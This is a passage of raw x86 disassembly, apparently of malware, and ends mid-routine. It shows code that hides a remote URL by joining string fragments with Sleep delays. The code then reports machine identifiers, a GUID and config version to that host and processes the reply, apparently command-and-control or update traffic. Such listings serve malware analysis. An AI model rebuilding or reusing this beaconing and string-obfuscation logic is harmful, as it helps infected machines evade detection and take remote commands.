var_2844	= dword	ptr -2844h
var_2840	= dword	ptr -2840h
var_283C	= dword	ptr -283Ch
var_2838	= dword	ptr -2838h
var_2834	= dword	ptr -2834h
var_2830	= dword	ptr -2830h
var_282C	= dword	ptr -282Ch
var_2828	= dword	ptr -2828h
var_2824	= dword	ptr -2824h
var_2820	= dword	ptr -2820h
var_281C	= dword	ptr -281Ch
var_2818	= dword	ptr -2818h
var_2814	= dword	ptr -2814h
var_2810	= dword	ptr -2810h
var_280C	= dword	ptr -280Ch
var_2808	= dword	ptr -2808h
var_2804	= byte ptr -2804h
var_2800	= dword	ptr -2800h
var_27FC	= dword	ptr -27FCh
var_27F8	= byte ptr -27F8h
var_27F4	= dword	ptr -27F4h
var_27F0	= byte ptr -27F0h
var_27EC	= byte ptr -27ECh
var_27E8	= byte ptr -27E8h
var_27E4	= byte ptr -27E4h
var_27E0	= byte ptr -27E0h
var_27DC	= byte ptr -27DCh
var_27D8	= byte ptr -27D8h
var_27D4	= byte ptr -27D4h
var_27D0	= byte ptr -27D0h
var_27CC	= byte ptr -27CCh
var_27C8	= byte ptr -27C8h
var_27C4	= byte ptr -27C4h
var_27C0	= byte ptr -27C0h
var_27BC	= byte ptr -27BCh
var_27B8	= byte ptr -27B8h
var_27B4	= dword	ptr -27B4h
var_27B0	= byte ptr -27B0h
var_27AC	= byte ptr -27ACh
var_27A8	= dword	ptr -27A8h
var_27A4	= dword	ptr -27A4h
var_27A0	= dword	ptr -27A0h
var_279C	= byte ptr -279Ch
var_1F9C	= byte ptr -1F9Ch
var_1F98	= dword	ptr -1F98h
var_1F94	= dword	ptr -1F94h
var_1F90	= byte ptr -1F90h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42852F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 28BCh
		call	sub_431700
		mov	[ebp+var_2818],	ecx
		mov	[ebp+var_1F98],	0
		mov	[ebp+var_3C], 1
		lea	ecx, [ebp+var_20]
		call	sub_429930
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 2
		mov	[ebp+var_1F94],	0
		lea	ecx, [ebp+var_18]
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 3
		mov	[ebp+var_24], 0
		lea	ecx, [ebp+var_10]
		call	sub_429930
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429930
		mov	byte ptr [ebp+var_4], 5
		push	1Ch
		call	dword_4330E0	; Sleep
		mov	eax, 1
		test	eax, eax
		jz	loc_428665
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DD0
		push	eax
		push	offset dword_4332C8
		push	1
		push	0
		push	offset byte_4332B8
		call	dword_4332AC
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jge	short loc_428665
		mov	[ebp+var_27A8],	0FFFFFFFFh
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DB0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_10]
		call	sub_4264A2
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_42414A
		mov	eax, [ebp+var_27A8]
		jmp	loc_429081
; ---------------------------------------------------------------------------


loc_428665:				; CODE XREF: sub_42852F+A4j
					; sub_42852F+D1j
		push	1Ch
		call	dword_4330E0	; Sleep
		mov	ecx, [ebp+var_2818]
		mov	edx, [ecx]
		push	edx
		push	offset aD	; "%d"
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp+var_4C]
		push	ecx
		push	offset asc_437578 ; "&x="
		lea	edx, [ebp+var_27AC]
		push	edx
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_42583A
		mov	[ebp+var_281C],	eax
		mov	eax, [ebp+var_281C]
		mov	[ebp+var_2820],	eax
		mov	byte ptr [ebp+var_4], 6
		mov	ecx, [ebp+var_2820]
		push	ecx
		push	offset aI	; "&i="
		lea	edx, [ebp+var_27B0]
		push	edx
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_425733
		mov	[ebp+var_2824],	eax
		mov	eax, [ebp+var_2824]
		mov	[ebp+var_2828],	eax
		mov	byte ptr [ebp+var_4], 7
		mov	ecx, [ebp+var_2828]
		push	ecx
		push	offset aP	; "&p="
		push	offset dword_43BD30
		push	offset aCmd	; "&cmd="
		mov	edx, [ebp+var_2818]
		add	edx, 10h
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_27B4],	esp
		push	edx
		call	sub_431636
		mov	[ebp+var_282C],	eax
		lea	eax, [ebp+var_27B8]
		push	eax
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_422F54
		mov	[ebp+var_2830],	eax
		mov	ecx, [ebp+var_2830]
		mov	[ebp+var_2834],	ecx
		mov	byte ptr [ebp+var_4], 8
		mov	edx, [ebp+var_2834]
		push	edx
		push	offset aGuid	; "&GUID="
		lea	eax, [ebp+var_27BC]
		push	eax
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_4254CE
		mov	[ebp+var_2838],	eax
		mov	ecx, [ebp+var_2838]
		mov	[ebp+var_283C],	ecx
		mov	byte ptr [ebp+var_4], 9
		mov	edx, [ebp+var_283C]
		push	edx
		push	offset aConfigversion ;	"&configversion="
		mov	eax, [ebp+var_2818]
		add	eax, 1Ch
		push	eax
		push	offset aVersion	; "&version="
		lea	ecx, [ebp+var_27C0]
		push	ecx
		call	sub_43167E
		mov	[ebp+var_2840],	eax
		mov	edx, [ebp+var_2840]
		mov	[ebp+var_2844],	edx
		mov	byte ptr [ebp+var_4], 0Ah
		mov	eax, [ebp+var_2844]
		push	eax
		lea	ecx, [ebp+var_27C4]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2848],	eax
		mov	edx, [ebp+var_2848]
		mov	[ebp+var_284C],	edx
		mov	byte ptr [ebp+var_4], 0Bh
		mov	eax, [ebp+var_284C]
		push	eax
		lea	ecx, [ebp+var_27C8]
		push	ecx
		call	sub_431654
		mov	[ebp+var_2850],	eax
		mov	edx, [ebp+var_2850]
		mov	[ebp+var_2854],	edx
		mov	byte ptr [ebp+var_4], 0Ch
		mov	eax, [ebp+var_2854]
		push	eax
		lea	ecx, [ebp+var_27CC]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2858],	eax
		mov	edx, [ebp+var_2858]
		mov	[ebp+var_285C],	edx
		mov	byte ptr [ebp+var_4], 0Dh
		mov	eax, [ebp+var_285C]
		push	eax
		lea	ecx, [ebp+var_27D0]
		push	ecx
		call	sub_431654
		mov	[ebp+var_2860],	eax
		mov	edx, [ebp+var_2860]
		mov	[ebp+var_2864],	edx
		mov	byte ptr [ebp+var_4], 0Eh
		mov	eax, [ebp+var_2864]
		push	eax
		lea	ecx, [ebp+var_27D4]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2868],	eax
		mov	edx, [ebp+var_2868]
		mov	[ebp+var_286C],	edx
		mov	byte ptr [ebp+var_4], 0Fh
		mov	eax, [ebp+var_286C]
		push	eax
		lea	ecx, [ebp+var_27D8]
		push	ecx
		call	sub_431654
		mov	[ebp+var_2870],	eax
		mov	edx, [ebp+var_2870]
		mov	[ebp+var_2874],	edx
		mov	byte ptr [ebp+var_4], 10h
		mov	eax, [ebp+var_2874]
		push	eax
		lea	ecx, [ebp+var_27DC]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2878],	eax
		mov	edx, [ebp+var_2878]
		mov	[ebp+var_287C],	edx
		mov	byte ptr [ebp+var_4], 11h
		mov	eax, [ebp+var_287C]
		push	eax
		lea	ecx, [ebp+var_27E0]
		push	ecx
		call	sub_431654
		mov	[ebp+var_2880],	eax
		mov	edx, [ebp+var_2880]
		mov	[ebp+var_2884],	edx
		mov	byte ptr [ebp+var_4], 12h
		mov	eax, [ebp+var_2884]
		push	eax
		lea	ecx, [ebp+var_27E4]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2888],	eax
		mov	edx, [ebp+var_2888]
		mov	[ebp+var_288C],	edx
		mov	byte ptr [ebp+var_4], 13h
		mov	eax, [ebp+var_288C]
		push	eax
		lea	ecx, [ebp+var_27E8]
		push	ecx
		call	sub_431654
		mov	[ebp+var_2890],	eax
		mov	edx, [ebp+var_2890]
		mov	[ebp+var_2894],	edx
		mov	byte ptr [ebp+var_4], 14h
		mov	eax, [ebp+var_2894]
		push	eax
		lea	ecx, [ebp+var_27EC]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_2898],	eax
		mov	edx, [ebp+var_2898]
		mov	[ebp+var_289C],	edx
		mov	byte ptr [ebp+var_4], 15h
		mov	eax, [ebp+var_289C]
		push	eax
		lea	ecx, [ebp+var_27F0]
		push	ecx
		call	sub_43165A
		mov	[ebp+var_28A0],	eax
		mov	edx, [ebp+var_28A0]
		mov	[ebp+var_28A4],	edx
		mov	byte ptr [ebp+var_4], 16h
		mov	eax, [ebp+var_28A4]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_431648
		mov	byte ptr [ebp+var_4], 15h
		lea	ecx, [ebp+var_27F0]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 14h
		lea	ecx, [ebp+var_27EC]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 13h
		lea	ecx, [ebp+var_27E8]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 12h
		lea	ecx, [ebp+var_27E4]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 11h
		lea	ecx, [ebp+var_27E0]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 10h
		lea	ecx, [ebp+var_27DC]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Fh
		lea	ecx, [ebp+var_27D8]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Eh
		lea	ecx, [ebp+var_27D4]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_27D0]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Ch
		lea	ecx, [ebp+var_27CC]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Bh
		lea	ecx, [ebp+var_27C8]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0Ah
		lea	ecx, [ebp+var_27C4]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 9
		lea	ecx, [ebp+var_27C0]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 8
		lea	ecx, [ebp+var_27BC]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_27B8]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_27B0]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_27AC]
		call	sub_431642
		push	offset aHtt	; "htt"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		push	26h
		call	dword_4330E0	; Sleep
		push	offset aP_0	; "p://"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433078	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aWr_mc	; "wr.mc"
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433078	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aBo	; "bo"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433078	; lstrcatA
		push	26h
		call	dword_4330E0	; Sleep
		push	offset aO	; "o"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433078	; lstrcatA
		push	29h
		call	dword_4330E0	; Sleep
		push	offset a_co	; ".co"
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433078	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aMR	; "m/r"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433078	; lstrcatA
		push	23h
		call	dword_4330E0	; Sleep
		push	offset aEta	; "eta"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433078	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aDpu_	; "dpu."
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433078	; lstrcatA
		push	23h
		call	dword_4330E0	; Sleep
		push	offset aPh	; "ph"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433078	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		push	offset aP?	; "p?"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433078	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		lea	ecx, [ebp+var_18]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433078	; lstrcatA
		lea	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+var_279C]
		push	edx
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_422EC3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 64h
		jnb	short loc_428C79
		mov	[ebp+var_27F4],	0
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DB0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_10]
		call	sub_4264A2
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_42414A
		mov	eax, [ebp+var_27F4]
		jmp	loc_429081
; ---------------------------------------------------------------------------


loc_428C79:				; CODE XREF: sub_42852F+6E5j
		mov	eax, [ebp+var_14]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+var_1F90]
		push	edx
		call	dword_4330C8	; lstrcpynA
		push	1Dh
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+var_14]
		mov	[ebp+eax+var_1F90], 0
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_27F8]
		push	eax
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_42309C
		mov	[ebp+var_28A8],	eax
		mov	ecx, [ebp+var_28A8]
		mov	[ebp+var_28AC],	ecx
		mov	byte ptr [ebp+var_4], 17h
		mov	ecx, [ebp+var_28AC]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_1F90]
		push	edx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_27F8]
		call	sub_431642
		push	1Eh
		call	dword_4330E0	; Sleep
		lea	eax, [ebp+var_1F90]
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_429980
		push	1Dh
		call	dword_4330E0	; Sleep
		lea	ecx, [ebp+var_20]
		call	sub_429A30
		cmp	eax, 63h
		ja	short loc_428D9D
		lea	ecx, [ebp+var_20]
		call	sub_429A00
		push	eax
		call	dword_433274
		mov	[ebp+var_27FC],	0FFFFFFFEh
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DB0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_10]
		call	sub_4264A2
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_42414A
		mov	eax, [ebp+var_27FC]
		jmp	loc_429081
; ---------------------------------------------------------------------------


loc_428D9D:				; CODE XREF: sub_42852F+7FAj
		lea	ecx, [ebp+var_38]
		call	sub_429AE0
		mov	byte ptr [ebp+var_4], 18h
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_2800],	esp
		lea	edx, [ebp+var_20]
		push	edx
		call	sub_429950
		mov	[ebp+var_28B0],	eax
		mov	eax, [ebp+var_28B0]
		mov	[ebp+var_28B4],	eax
		mov	byte ptr [ebp+var_4], 19h
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DF0
		mov	ecx, eax
		mov	byte ptr [ebp+var_4], 18h
		call	sub_429D20
		mov	[ebp+var_28B6],	ax
		mov	cx, [ebp+var_28B6]
		push	ecx
		lea	ecx, [ebp+var_38]
		call	sub_429B90
		push	20h
		call	dword_4330E0	; Sleep
		lea	ecx, [ebp+var_38]
		call	sub_429B00
		and	eax, 0FFh
		cmp	eax, 1
		jnz	loc_428F8D
		lea	edx, [ebp+var_2804]
		push	edx
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DF0
		mov	ecx, eax
		call	sub_429CC0
		mov	[ebp+var_28BC],	eax
		mov	eax, [ebp+var_28BC]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_429E80
		lea	ecx, [ebp+var_2804]
		call	sub_4264A2
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_2808],	esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_429E20
		mov	[ebp+var_28C0],	eax
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_424429
		mov	[ebp+var_28C4],	eax
		mov	eax, [ebp+var_28C4]
		mov	[ebp+var_1F98],	eax
		mov	ecx, [ebp+var_1F98]
		imul	ecx, 1400Ch
		mov	[ebp+var_27A4],	ecx
		cmp	[ebp+var_1F98],	0
		jnz	short loc_428EC8
		push	20h
		call	dword_4330E0	; Sleep
		mov	edx, [ebp+var_27A4]
		push	edx
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_27A0],	eax
		jmp	short loc_428EE6
; ---------------------------------------------------------------------------


loc_428EC8:				; CODE XREF: sub_42852F+977j
		push	20h
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+var_27A4]
		push	eax
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_27A0],	eax


loc_428EE6:				; CODE XREF: sub_42852F+997j
		mov	ecx, [ebp+var_27A4]
		push	ecx
		push	0
		mov	edx, [ebp+var_27A0]
		push	edx
		call	sub_431752	; memset
		add	esp, 0Ch
		push	20h
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+var_1F98]
		push	eax
		mov	ecx, [ebp+var_27A0]
		push	ecx
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_42334C
		push	1Fh
		call	dword_4330E0	; Sleep
		mov	edx, [ebp+var_27A0]
		push	edx
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_280C],	esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_429E20
		mov	[ebp+var_28C8],	eax
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_42342D
		push	20h
		call	dword_4330E0	; Sleep
		mov	ecx, [ebp+var_1F98]
		push	ecx
		mov	edx, [ebp+var_27A0]
		push	edx
		mov	ecx, [ebp+var_2818]
		add	ecx, 8
		call	sub_4245AA
		mov	eax, [ebp+var_27A0]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4
		jmp	short loc_429008
; ---------------------------------------------------------------------------


loc_428F8D:				; CODE XREF: sub_42852F+8E7j
		lea	ecx, [ebp+var_20]
		call	sub_429A00
		push	eax
		call	dword_433274
		mov	[ebp+var_2810],	0FFFFFFFDh
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_38]
		call	sub_429CA0
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DB0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_10]
		call	sub_4264A2
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_42414A
		mov	eax, [ebp+var_2810]
		jmp	short loc_429081
; ---------------------------------------------------------------------------


loc_429008:				; CODE XREF: sub_42852F+A5Cj
		lea	ecx, [ebp+var_20]
		call	sub_429A00
		push	eax
		call	dword_433274
		mov	[ebp+var_2814],	1
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_38]
		call	sub_429CA0
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_1F9C]
		call	sub_429DB0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_10]
		call	sub_4264A2
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_28]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_42414A
		mov	eax, [ebp+var_2814]


loc_429081:				; CODE XREF: sub_42852F+131j
					; sub_42852F+745j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42852F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42908F	proc near		; CODE XREF: sub_4294E5+B0p

var_807C	= dword	ptr -807Ch
var_8078	= dword	ptr -8078h
var_8074	= dword	ptr -8074h
var_8070	= dword	ptr -8070h
var_806C	= dword	ptr -806Ch
var_8068	= dword	ptr -8068h
var_8064	= dword	ptr -8064h
var_8060	= dword	ptr -8060h
var_805C	= dword	ptr -805Ch
var_8058	= dword	ptr -8058h
var_8054	= dword	ptr -8054h
var_8050	= dword	ptr -8050h
var_804C	= dword	ptr -804Ch
var_8048	= dword	ptr -8048h
var_8044	= dword	ptr -8044h
var_8040	= byte ptr -8040h
var_803C	= byte ptr -803Ch
var_8038	= byte ptr -8038h
var_8034	= byte ptr -8034h
var_8030	= byte ptr -8030h
var_802C	= byte ptr -802Ch
var_8028	= byte ptr -8028h
var_8024	= byte ptr -8024h
var_8020	= byte ptr -8020h
var_801C	= byte ptr -801Ch
var_8018	= dword	ptr -8018h
var_8014	= byte ptr -8014h
var_6014	= byte ptr -6014h
var_4014	= byte ptr -4014h
var_4010	= byte ptr -4010h
var_2010	= byte ptr -2010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42908F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 8070h
		call	sub_431700
		mov	[ebp+var_8044],	ecx
		mov	[ebp+var_801C],	1
		lea	ecx, [ebp+var_4014]
		call	sub_43164E
		mov	[ebp+var_4], 0
		push	offset dword_43BD30
		lea	ecx, [ebp+var_4014]
		call	sub_431648
		lea	ecx, [ebp+var_4014]
		call	sub_428280
		test	eax, eax
		jnz	short loc_42913B
		lea	eax, [ebp+var_8024]
		push	eax
		mov	ecx, [ebp+var_8044]
		add	ecx, 8
		call	sub_425C0B
		mov	[ebp+var_8048],	eax
		mov	ecx, [ebp+var_8048]
		mov	[ebp+var_804C],	ecx
		mov	byte ptr [ebp+var_4], 1
		mov	edx, [ebp+var_804C]
		push	edx
		lea	ecx, [ebp+var_4014]
		call	sub_431648
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8024]
		call	sub_431642


loc_42913B:				; CODE XREF: sub_42908F+5Ej
		lea	ecx, [ebp+var_4014]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_6014]
		push	eax
		call	dword_4330CC	; lstrcpyA
		lea	ecx, [ebp+var_6014]
		push	ecx
		call	dword_4330B4	; lstrlenA
		push	eax
		lea	edx, [ebp+var_6014]
		push	edx
		lea	eax, [ebp+var_8028]
		push	eax
		mov	ecx, [ebp+var_8044]
		add	ecx, 8
		call	sub_42309C
		mov	[ebp+var_8050],	eax
		mov	ecx, [ebp+var_8050]
		mov	[ebp+var_8054],	ecx
		mov	byte ptr [ebp+var_4], 2
		mov	edx, [ebp+var_8054]
		push	edx
		lea	ecx, [ebp+var_4014]
		call	sub_431648
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8028]
		call	sub_431642
		lea	ecx, [ebp+var_4014]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_8014]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 8
		movsx	ecx, [ebp+var_8014]
		cmp	ecx, 2Fh
		jnz	loc_42949A
		push	0
		push	1
		lea	edx, [ebp+var_8014]
		push	edx
		lea	eax, [ebp+var_802C]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8058],	eax
		mov	ecx, [ebp+var_8058]
		mov	[ebp+var_805C],	ecx
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_805C]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_8014]
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_802C]
		call	sub_431642


loc_42923E:				; CODE XREF: sub_42908F:loc_429495j
		push	2Fh
		lea	eax, [ebp+var_8014]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421A20
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_42949A
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_42927B
		lea	ecx, [ebp+var_8014]
		push	ecx
		lea	edx, [ebp+var_4010]
		push	edx
		call	dword_4330CC	; lstrcpyA
		jmp	short loc_4292D8
; ---------------------------------------------------------------------------


loc_42927B:				; CODE XREF: sub_42908F+1D4j
		mov	eax, [ebp+var_10]
		push	eax
		push	0
		lea	ecx, [ebp+var_8014]
		push	ecx
		lea	edx, [ebp+var_8030]
		push	edx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8060],	eax
		mov	eax, [ebp+var_8060]
		mov	[ebp+var_8064],	eax
		mov	byte ptr [ebp+var_4], 4
		mov	ecx, [ebp+var_8064]
		call	sub_4226A0
		push	eax
		lea	ecx, [ebp+var_4010]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8030]
		call	sub_431642


loc_4292D8:				; CODE XREF: sub_42908F+1EAj
		push	0
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx
		lea	eax, [ebp+var_8014]
		push	eax
		lea	ecx, [ebp+var_8034]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8068],	eax
		mov	edx, [ebp+var_8068]
		mov	[ebp+var_806C],	edx
		mov	byte ptr [ebp+var_4], 5
		mov	ecx, [ebp+var_806C]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_8014]
		push	eax
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8034]
		call	sub_431642
		push	3Ah
		lea	ecx, [ebp+var_4010]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421A20
		mov	[ebp+var_8018],	eax
		cmp	[ebp+var_8018],	0FFFFFFFFh
		jz	loc_429424
		mov	edx, [ebp+var_8018]
		push	edx
		push	0
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_8038]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8070],	eax
		mov	edx, [ebp+var_8070]
		mov	[ebp+var_8074],	edx
		mov	byte ptr [ebp+var_4], 6
		mov	ecx, [ebp+var_8074]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_2010]
		push	eax
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8038]
		call	sub_431642
		push	0
		mov	ecx, [ebp+var_8018]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_4010]
		push	edx
		lea	eax, [ebp+var_803C]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8078],	eax
		mov	ecx, [ebp+var_8078]
		mov	[ebp+var_807C],	ecx
		mov	byte ptr [ebp+var_4], 7
		mov	ecx, [ebp+var_807C]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_4010]
		push	edx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_803C]
		call	sub_431642
		jmp	short loc_42944E
; ---------------------------------------------------------------------------


